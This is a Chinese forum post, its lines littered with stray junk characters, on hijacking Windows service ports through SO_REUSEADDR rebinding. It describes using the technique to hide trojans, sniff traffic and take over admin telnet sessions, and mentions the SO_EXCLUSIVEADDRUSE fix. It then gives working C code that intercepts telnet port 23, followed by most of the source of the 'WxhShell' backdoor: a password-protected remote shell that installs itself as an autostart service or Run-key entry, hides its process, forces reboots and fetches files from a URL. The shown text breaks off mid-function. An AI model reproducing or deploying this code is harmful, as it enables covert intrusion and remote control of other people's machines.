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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qrLE1b 1$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r.vezsH  
v-MrurQ4  
  saddr.sin_family = AF_INET; d^:(-2l-  
?AlTQL~c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )*m#RqLQ8  
gwQk M4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~]l T>|X  
O Bp&64  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *S?vw'n  
abczW[\  
  这意味着什么?意味着可以进行如下的攻击: 8j^3_lD  
mW 4{*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cu,#w3JR  
#^zUaPV 7r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0Vwl\,7z9  
 x#hGJT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dFw>SYrpu  
q)F@f /  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VM"z6@  
^;DbIo\6H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =JM !`[  
(\A~SKEX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WW.amv/[a  
>=VtL4K^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VYAz0H1-_  
a(|,KWHn  
  #include 92pl#Igt  
  #include ,b!]gsds  
  #include F8En )#  
  #include    47 |&(,{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eN Y?  
  int main() cpJ(77e  
  { AfqthI$*m  
  WORD wVersionRequested; H]a@"gO  
  DWORD ret; rD*CLq K  
  WSADATA wsaData; /)LI1\ o  
  BOOL val; r)/nx@x  
  SOCKADDR_IN saddr; IuOY.c2.u  
  SOCKADDR_IN scaddr; q s 0'}>  
  int err; m{ VC1BkZ  
  SOCKET s; 9i`sSi8   
  SOCKET sc; iL\eMa  
  int caddsize; <`Q*I Y  
  HANDLE mt; n^+rxG6 L  
  DWORD tid;   j{: >"6  
  wVersionRequested = MAKEWORD( 2, 2 ); _N2tf/C&=  
  err = WSAStartup( wVersionRequested, &wsaData ); -A3>+G3[  
  if ( err != 0 ) { Y?b4* me  
  printf("error!WSAStartup failed!\n"); @`S8d%6P  
  return -1; snccDuS  
  } #>[5NQ;$'  
  saddr.sin_family = AF_INET; !tckE\ h#N  
   2[e^mm&.   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ge@KopZ&  
kE*OjywN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MET"s.v  
  saddr.sin_port = htons(23); "U6:z M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) go[(N6hN  
  { X{-[ E^X  
  printf("error!socket failed!\n"); E2xcd#ZD  
  return -1; 0X: :<N@  
  } Vt;!FZ  
  val = TRUE; $=rLs)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P{{U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *E1v  
  { Q ,6[  
  printf("error!setsockopt failed!\n"); {I"`(  
  return -1; 9! 6\8  
  } mO~A}/je  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6d%'>^`(o-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "<LVA2v;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |8<P%:*N  
0//B+.#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  uZA^o  
  { }+3IM1VTW{  
  ret=GetLastError(); #5a'Z+  
  printf("error!bind failed!\n"); & ~*qTojj  
  return -1; Btu=MUS  
  } qL1 d-nH  
  listen(s,2); cN] ]J  
  while(1) *]]C.t-cd  
  { q(YFt*(;w  
  caddsize = sizeof(scaddr); yD n8{uI  
  //接受连接请求 Qk_` IlSd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I[$SVPe#  
  if(sc!=INVALID_SOCKET) 9YjO  
  { N-9qNLSP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @*}?4wU^k  
  if(mt==NULL) zJCm0HLJ  
  { f:6%DT~a&C  
  printf("Thread Creat Failed!\n"); Wgr`)D  
  break; 3.vQ~Fvl  
  } (}:n#|,{M  
  } ujMics(  
  CloseHandle(mt); UC{Tmf  
  } cy+EJq I  
  closesocket(s); QTKN6P  
  WSACleanup(); $GcVI ;a  
  return 0; JLZ=$d  
  }   MG6y  
  DWORD WINAPI ClientThread(LPVOID lpParam) eKj'[2G@/  
  { ctB(c`zcY  
  SOCKET ss = (SOCKET)lpParam; YR$ )yl  
  SOCKET sc; TA~YCj$  
  unsigned char buf[4096]; 60`4 _Uy]_  
  SOCKADDR_IN saddr; H*&ZX AKv  
  long num; .gS x`|!  
  DWORD val; lAcXi$pF  
  DWORD ret; jh|4Y(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SSh=r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +&:?*(?Q  
  saddr.sin_family = AF_INET; v!b 8_0~u6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :(o6^%x  
  saddr.sin_port = htons(23); oy?>e1Sy*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5PXo1"n8T  
  { ^%<t^sE  
  printf("error!socket failed!\n"); !o k6*m  
  return -1; Gd08RW  
  } m=7Z8@sX},  
  val = 100; *w[\(d'T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J|D$  
  { ^& R H]q  
  ret = GetLastError(); "BAH=ul5E  
  return -1; y?1<7>L5~  
  } QxjX:O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nR()ei^X  
  { /e0cx:.w  
  ret = GetLastError(); \h&ui]V  
  return -1; :1O1I2L0  
  } 0-9.u`)#yu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z;XiA<|  
  { V&>\U?q:  
  printf("error!socket connect failed!\n"); <P"4Mk7`s  
  closesocket(sc); ;& PK6G  
  closesocket(ss); yXdJ5Me(T  
  return -1; G L> u3K  
  } 5cza0CriJ  
  while(1) RC']"jpW  
  { xn)eb#r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l`}Ag8Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $)fybn Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EC6Q<&]Iw  
  num = recv(ss,buf,4096,0); 1p[Z`m*9  
  if(num>0) dT9ekNQB  
  send(sc,buf,num,0); 5r$ X  
  else if(num==0) +z2+z  
  break; .PhH|jrCW^  
  num = recv(sc,buf,4096,0); q:9#Vcw  
  if(num>0) ERE1XOe=D  
  send(ss,buf,num,0); [v!TQwMU  
  else if(num==0) / W,K% s]  
  break; i(k]}Di:  
  } R1%2]?  
  closesocket(ss); {MaFv  
  closesocket(sc); u?>]C6$  
  return 0 ; v\UwL-4[  
  } vj23j[!|  
Q.8)_w  
dK=<%)N  
========================================================== +C(v4@=nd  
v GT#BS%  
下边附上一个代码,,WXhSHELL Du3nK" -g  
{0#p,l  
========================================================== WLTraB[?  
_Wjd`*  
#include "stdafx.h" p FkqDU  
nnZ|oEF  
#include <stdio.h> h]#wwJF  
#include <string.h> 7fOk]Yl[  
#include <windows.h> tv+H4/  
#include <winsock2.h> N~%F/`Z<+  
#include <winsvc.h> =7Wr  
#include <urlmon.h> g`skmHS89  
V|h/a\P  
#pragma comment (lib, "Ws2_32.lib") t1I` n(]n  
#pragma comment (lib, "urlmon.lib") >9S@:?^&q>  
&$vW  
#define MAX_USER   100 // 最大客户端连接数 Wy'H4Rg8  
#define BUF_SOCK   200 // sock buffer a^*@j:[  
#define KEY_BUFF   255 // 输入 buffer #h 4`f  
B`/c Kfg  
#define REBOOT     0   // 重启 a09]5>*  
#define SHUTDOWN   1   // 关机 p$5+^x'(  
c 4<~? L  
#define DEF_PORT   5000 // 监听端口 j|u6TG  
NTHy!y<!h  
#define REG_LEN     16   // 注册表键长度 Use`E  
#define SVC_LEN     80   // NT服务名长度 Nz ,8NM]  
+U%U3tAvs  
// 从dll定义API T|h/n\fx)a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?}N@bsl08w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I#]$H#}Av  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l 1RpG"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r`Qzn" H  
8G>;X;W  
// wxhshell配置信息 Ng6(2Wt0e  
struct WSCFG { \?bp^BrI  
  int ws_port;         // 监听端口 kW#{[,7r  
  char ws_passstr[REG_LEN]; // 口令 "))G|+tz  
  int ws_autoins;       // 安装标记, 1=yes 0=no \gh`P S-B  
  char ws_regname[REG_LEN]; // 注册表键名 WrR97]7t  
  char ws_svcname[REG_LEN]; // 服务名 u= |hRTD=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }<EA)se"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s ^/<6kwO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u0md ^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rsp?N{e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2EeWcTBU}.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QPi]5z?  
+M+ht  
}; axl!zu*  
{I!sXj  
// default Wxhshell configuration By t{3$  
struct WSCFG wscfg={DEF_PORT, aqjS5!qh  
    "xuhuanlingzhe", ~$0Qvyb>  
    1, 0YsC@r47wL  
    "Wxhshell", E47U &xL  
    "Wxhshell", Q1G?e,Q  
            "WxhShell Service", QOECpk-  
    "Wrsky Windows CmdShell Service", 3q=A35*LT>  
    "Please Input Your Password: ", w,\#)<boyb  
  1, 5N:THvh6o  
  "http://www.wrsky.com/wxhshell.exe", L`yyn/2>  
  "Wxhshell.exe" y7 I')}SC  
    }; |]5g+sd  
V}#2pP  
// 消息定义模块  H4HWr6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /"t*gN=wrF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x,\PV>   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a*}ZT,V  
char *msg_ws_ext="\n\rExit."; Z=sCYLm  
char *msg_ws_end="\n\rQuit."; oEHUb?(p  
char *msg_ws_boot="\n\rReboot..."; NXv u}&H  
char *msg_ws_poff="\n\rShutdown..."; bF88F_  
char *msg_ws_down="\n\rSave to "; mCtuR*z_  
xGQ958@  
char *msg_ws_err="\n\rErr!"; MorR&K  
char *msg_ws_ok="\n\rOK!"; ^X%{]b K  
[~;#]az  
char ExeFile[MAX_PATH]; :@TfhQV_=Q  
int nUser = 0; x}G["ZU}v]  
HANDLE handles[MAX_USER]; G[YbgG=9Y  
int OsIsNt; &)Fp  
Oj# nF@U  
SERVICE_STATUS       serviceStatus; xz FV]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a.a5qwG  
I$4GM  
// 函数声明 _LV;q! /j  
int Install(void); C:n55BE9  
int Uninstall(void); vj I>TIy  
int DownloadFile(char *sURL, SOCKET wsh); Vwp fkD`  
int Boot(int flag); UW+|1Bj_:  
void HideProc(void); R qS2Qo]  
int GetOsVer(void); T!uK _  
int Wxhshell(SOCKET wsl); fiSc\C~  
void TalkWithClient(void *cs); C3af>L@}  
int CmdShell(SOCKET sock); =GpO }t">  
int StartFromService(void); a;eV&~  
int StartWxhshell(LPSTR lpCmdLine); .c'EXuI7),  
+_gPZFpbx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vcg$H8m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gqaENU>  
P`HE3?r  
// 数据结构和表定义 DWep5$>&K  
SERVICE_TABLE_ENTRY DispatchTable[] = .~0A*a  
{ (( 0%>HJ{~  
{wscfg.ws_svcname, NTServiceMain}, xp%,@] p  
{NULL, NULL} %+iJpRK)7  
}; sgDlT=c'  
)TxAhaz+  
// 自我安装 ~Dw.3P:-  
int Install(void) CUB=T]  
{ M3j_sd'N  
  char svExeFile[MAX_PATH]; >3 Q%Yn  
  HKEY key; !Y3w]_x[:  
  strcpy(svExeFile,ExeFile); H4 }^6><V  
Ij hC@5qk  
// 如果是win9x系统,修改注册表设为自启动 DCv~^  
if(!OsIsNt) { 3&kHAXzM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y; Up@.IG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QDS=M]  
  RegCloseKey(key); *5iNw_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B98&JoS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g]9!Pi8jn  
  RegCloseKey(key); d#.9!m~.  
  return 0; Vkdchc  
    } i~}[/^  
  } qG=9zp4y?Y  
} xI}h{AF7  
else { '{j.5~4y  
z#*w Na&@[  
// 如果是NT以上系统,安装为系统服务 xtyzy@)QL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); le%_[/_I|  
if (schSCManager!=0) PuAcsYQhN  
{ 8Letpygm  
  SC_HANDLE schService = CreateService WRQJ6B  
  ( QfJ?'*  
  schSCManager, UUy|/z%  
  wscfg.ws_svcname, <4,>`#NEo  
  wscfg.ws_svcdisp, R_ojK&%  
  SERVICE_ALL_ACCESS, a_/\.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KwOn<0P  
  SERVICE_AUTO_START, dV<|ztv  
  SERVICE_ERROR_NORMAL, 0"$Ui#r`  
  svExeFile, bNR}Mk]?  
  NULL, Q>u$tLX&  
  NULL, 4(MZ*6G]?  
  NULL, K'~wlO@O  
  NULL, _>B0q|]j4'  
  NULL 2-i>ymoOS  
  ); b(dIl)Y4 :  
  if (schService!=0) 3!^5a %u  
  { ?fDF Rms  
  CloseServiceHandle(schService); |l(rR06#.]  
  CloseServiceHandle(schSCManager); s8 .OL_e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A {lzQO  
  strcat(svExeFile,wscfg.ws_svcname); 7nB@U$]-Sz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =jjUwcl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nmp(%;<exN  
  RegCloseKey(key); 6|3$43J,F  
  return 0; /j!?qID  
    } QA\eXnR  
  } Er?Wg09  
  CloseServiceHandle(schSCManager); k2l(!0o|;  
} L,0HX   
} hHF YAh   
dhpEB J  
return 1; SlI0p&2,  
} a9qB8/Gg[  
" B Z6G`  
// 自我卸载 x]lv:m\)jT  
int Uninstall(void) w1EYXe  
{ \"c;MK{  
  HKEY key; $:w4_X5T  
:BG/]7>|V  
if(!OsIsNt) { 9VdVom|e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?c0OrvM  
  RegDeleteValue(key,wscfg.ws_regname); a02;Zl  
  RegCloseKey(key); K~OfC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v:(_-8:F  
  RegDeleteValue(key,wscfg.ws_regname);  @*'|8%  
  RegCloseKey(key); 703=.xj  
  return 0; i/R8Gb  
  } O/$pT%D1x  
} >l{<p(  
} utKtxLX"  
else { 'x BBQP  
ZurQr}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qYc]Y9fi  
if (schSCManager!=0) kPF[E5  
{ l~Je ]Qt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FW(y#Fmqs  
  if (schService!=0) :Eq=wbAw  
  { T1c2J,+}R  
  if(DeleteService(schService)!=0) { mw";l$Aq}  
  CloseServiceHandle(schService); C,+6g/{  
  CloseServiceHandle(schSCManager); nJ |O,*`O  
  return 0; 8P.UB{QNe  
  } X6%w6%su5  
  CloseServiceHandle(schService); v;AMx-_WH  
  } ]W3D4Swq  
  CloseServiceHandle(schSCManager); Xjc{={@p3  
} 'CsD[<  
} Q3,`'[ F  
_@jBz"aq\  
return 1; O79;tA<k  
} F@4XORO;  
C#[YDcp4  
// 从指定url下载文件 o1='Fr  
int DownloadFile(char *sURL, SOCKET wsh) l;zpf|.Vc  
{ lg1yj}br  
  HRESULT hr; #z 3tSnmp  
char seps[]= "/"; {@1.2AWg  
char *token; c)gG  
char *file; aW]!$  
char myURL[MAX_PATH]; !xyO  
char myFILE[MAX_PATH]; Au &NQ+  
>lQ&^9EI%  
strcpy(myURL,sURL); 2 |w;4  
  token=strtok(myURL,seps); GJW+'-f  
  while(token!=NULL) 9qkH~B7  
  { R4GmUCKB=  
    file=token; 2j8^Z  
  token=strtok(NULL,seps); 5OP$n]|(  
  } ]8KAat~J  
x nWCio>M  
GetCurrentDirectory(MAX_PATH,myFILE); Xm&L@2V  
strcat(myFILE, "\\"); ~fB}v  
strcat(myFILE, file); #$7 z  
  send(wsh,myFILE,strlen(myFILE),0); X9C)FS  
send(wsh,"...",3,0); ]uO 8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); | iEhe  
  if(hr==S_OK) iD,iv  
return 0; Bt4 X  
else w#g0nV"X6  
return 1; [?VYxX@  
;xaOve;9  
} [vb>5EhL!  
{ve86 POY  
// 系统电源模块 L8n1p5 gx3  
int Boot(int flag) FDM&rQ  
{ 7q?u`3l  
  HANDLE hToken; 4mSL*1j  
  TOKEN_PRIVILEGES tkp; vUl5%r2O4  
J8I_tF6  
  if(OsIsNt) { |4//%Ll/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pisjfNT`o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JViglO1\  
    tkp.PrivilegeCount = 1; t] LCe\#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |j53' >N[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *F/uAI^)  
if(flag==REBOOT) { B MU@J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0:UK)t)3I  
  return 0; =0 W`tx  
} 'bp*hqG[  
else { xxOo8+kA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `"QUA G  
  return 0; g{w IdV  
} (v(!l=3  
  } gv$6\1  
  else { V_jVVy30Ji  
if(flag==REBOOT) { aCzdYv\}&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &RP!9{F<  
  return 0; <y1V2Np  
} LcCb[r  
else { +cv7]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;Vc@]6Ck  
  return 0; 6dQa|ACX_  
} Icf 4OAx  
} #+Z3!VS  
2xRb$QF  
return 1; uV.3g 1 m  
} ?PORPv#  
eA9U|&o  
// win9x进程隐藏模块 <Ur(< WTV  
void HideProc(void) E< nXkqD  
{ v<iMlOEt  
>ijFQ667>j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |eL&hwqzG  
  if ( hKernel != NULL ) 2zR*`9$  
  { d!/@+i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RbX!^v<0f6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .{ ^4I  
    FreeLibrary(hKernel); S W(h%`U  
  } 0-cqux2U  
KpBh@S  
return; 8;9GM^L  
} Knsb`1"E^6  
b9%}< w  
// 获取操作系统版本 Pm; /Ua  
int GetOsVer(void) 5(bG  
{ qQN&uBQ[  
  OSVERSIONINFO winfo; Ti`<,TA54  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3N6U6.Tqb  
  GetVersionEx(&winfo); 7?j$Lwt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;hR!j!3}  
  return 1; e'aKI]>a  
  else :0>wm@qCQ  
  return 0; 4S|! iOY  
} ])h={gI  
G?12?2  
// 客户端句柄模块 pv039~Sud  
int Wxhshell(SOCKET wsl) G3&ES3L  
{ EB jiSQw  
  SOCKET wsh; =BJ/ZM  
  struct sockaddr_in client; )k0e}  
  DWORD myID; 2pFOC;tl  
 =Run  
  while(nUser<MAX_USER) ;SkC[;`J  
{ ~(Gv/x  
  int nSize=sizeof(client); _`Ey),c_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K6=-Zf  
  if(wsh==INVALID_SOCKET) return 1; |Axg}Q|  
NWPL18*C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 06*R)siC  
if(handles[nUser]==0) 2{c ;ELq  
  closesocket(wsh); %~P]x7%|  
else ,pir,Eozg  
  nUser++; .E!7}O6  
  } )a,-Hc:Vz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jzV*V<  
>U~.I2sz  
  return 0; |o~<Ti6]  
} "T5?<c  
:/ns/~5xa:  
// 关闭 socket Ne*I$T 5  
void CloseIt(SOCKET wsh) r:K)Q@  
{ vgOmcf%;  
closesocket(wsh); %Bmi3 =Rr  
nUser--; :xZ/c\  
ExitThread(0); ]3hz{zqV^  
} I=&5mg=m  
>bxT_qEm  
// 客户端请求句柄 _=B(jJZ   
void TalkWithClient(void *cs) ?@Z~i]gE[V  
{ mH*42XC*  
b,5H|$nLu  
  SOCKET wsh=(SOCKET)cs; #{7=  
  char pwd[SVC_LEN]; q]:+0~cz  
  char cmd[KEY_BUFF]; n"Ec%n  
char chr[1]; l)D18  
int i,j; Y{Kpopst  
o1"U'y-9V  
  while (nUser < MAX_USER) { ;&e5.K+.Z  
VuFM jY  
if(wscfg.ws_passstr) { LfyycC2E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !;lA+O-t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &J^@TgqL^  
  //ZeroMemory(pwd,KEY_BUFF); |DfYH~@(  
      i=0; &q1(v3cOO  
  while(i<SVC_LEN) { cRz7.9-<  
5R4h9D5  
  // 设置超时 x(3E#7>1  
  fd_set FdRead; UV)[a%/SB&  
  struct timeval TimeOut; =Y|TShKk  
  FD_ZERO(&FdRead); U6FM`w<  
  FD_SET(wsh,&FdRead); l3n* b6  
  TimeOut.tv_sec=8; l0Jpf9Aue  
  TimeOut.tv_usec=0; l W'6rat  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (Z.K3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K]zBPfx  
FB@c +*1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gqNd@tYI  
  pwd=chr[0]; ?PiJ7|  
  if(chr[0]==0xd || chr[0]==0xa) { VZYd CZ&l7  
  pwd=0; E5 H6&XU  
  break; jD0^,aiG  
  } 'mpY2|]\$  
  i++; bj(U?$  
    } eOy{]< l3  
7~cN  
  // 如果是非法用户,关闭 socket 9cFFQM|o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |U1X~\""  
} *kgbcUf8  
NWwfNb>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N<Rb<p%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /4 RKA!W  
n5 @H  
while(1) { s \#kqw\x  
Z i$a6  
  ZeroMemory(cmd,KEY_BUFF); *Au4q<   
;M8N%  
      // 自动支持客户端 telnet标准   vuuID24:  
  j=0; W5$jIQ}Bw  
  while(j<KEY_BUFF) { Z4}Yw{=f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B9iH+ ]W  
  cmd[j]=chr[0]; 4 u X<sJ*  
  if(chr[0]==0xa || chr[0]==0xd) { |^Try2@  
  cmd[j]=0; L|S#(0  
  break; Slq=;TDp  
  } //Ioh (N  
  j++; =NAL*4c+  
    } O-wR48Q  
?YXl.yj  
  // 下载文件 HYLU]9aH8  
  if(strstr(cmd,"http://")) { ?F*gFW_k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^o!K0 t*  
  if(DownloadFile(cmd,wsh)) f|?i6.N> f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KmZUDU%R  
  else >2Al+m<w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $k@reN9  
  } y2\, L  
  else { mn*.z!N=  
q ]rsp0P2  
    switch(cmd[0]) { -{pcb7.xuv  
  E~2}rK+#)  
  // 帮助 3RscuD&  
  case '?': { q{ @>2AlK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o?$D09j;;  
    break; A[XEbfDO  
  } U;OJ.a9  
  // 安装 2 'xT%  
  case 'i': { 8iK>bp  
    if(Install()) (8@._  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fbNVmjb$)  
    else 93)&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Da_g3z  
    break; -[`,MZf   
    } dy, ,x  
  // 卸载 T*J]e|aF  
  case 'r': { 0u QqPF t  
    if(Uninstall()) b,D+1'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & @^|=>L  
    else DDN#w<#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Tb93Q@c  
    break; -nN}8&l  
    }  s4;SA  
  // 显示 wxhshell 所在路径 q3T'rw%Eh  
  case 'p': { ?5'UrqYSW  
    char svExeFile[MAX_PATH]; <bXfjj6YJ@  
    strcpy(svExeFile,"\n\r"); >\^:xx Tf  
      strcat(svExeFile,ExeFile); `DC)U1  
        send(wsh,svExeFile,strlen(svExeFile),0); F_zs"ex/  
    break; (O,|1  
    } x V~`sqf  
  // 重启 ,8c`  
  case 'b': { 4tCyd5u a8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7>wSbAR<  
    if(Boot(REBOOT)) 6Ei>VcN4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $?(fiFC  
    else { ss236&  
    closesocket(wsh); I Vq9z  
    ExitThread(0); _yJd@  
    } @/`b:sv&*  
    break; <{9E.6G`n  
    } [US.n +G6  
  // 关机 fwf]1@#   
  case 'd': { ;l &mA1+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OY51~#BF  
    if(Boot(SHUTDOWN)) 'd|_i6:y&  
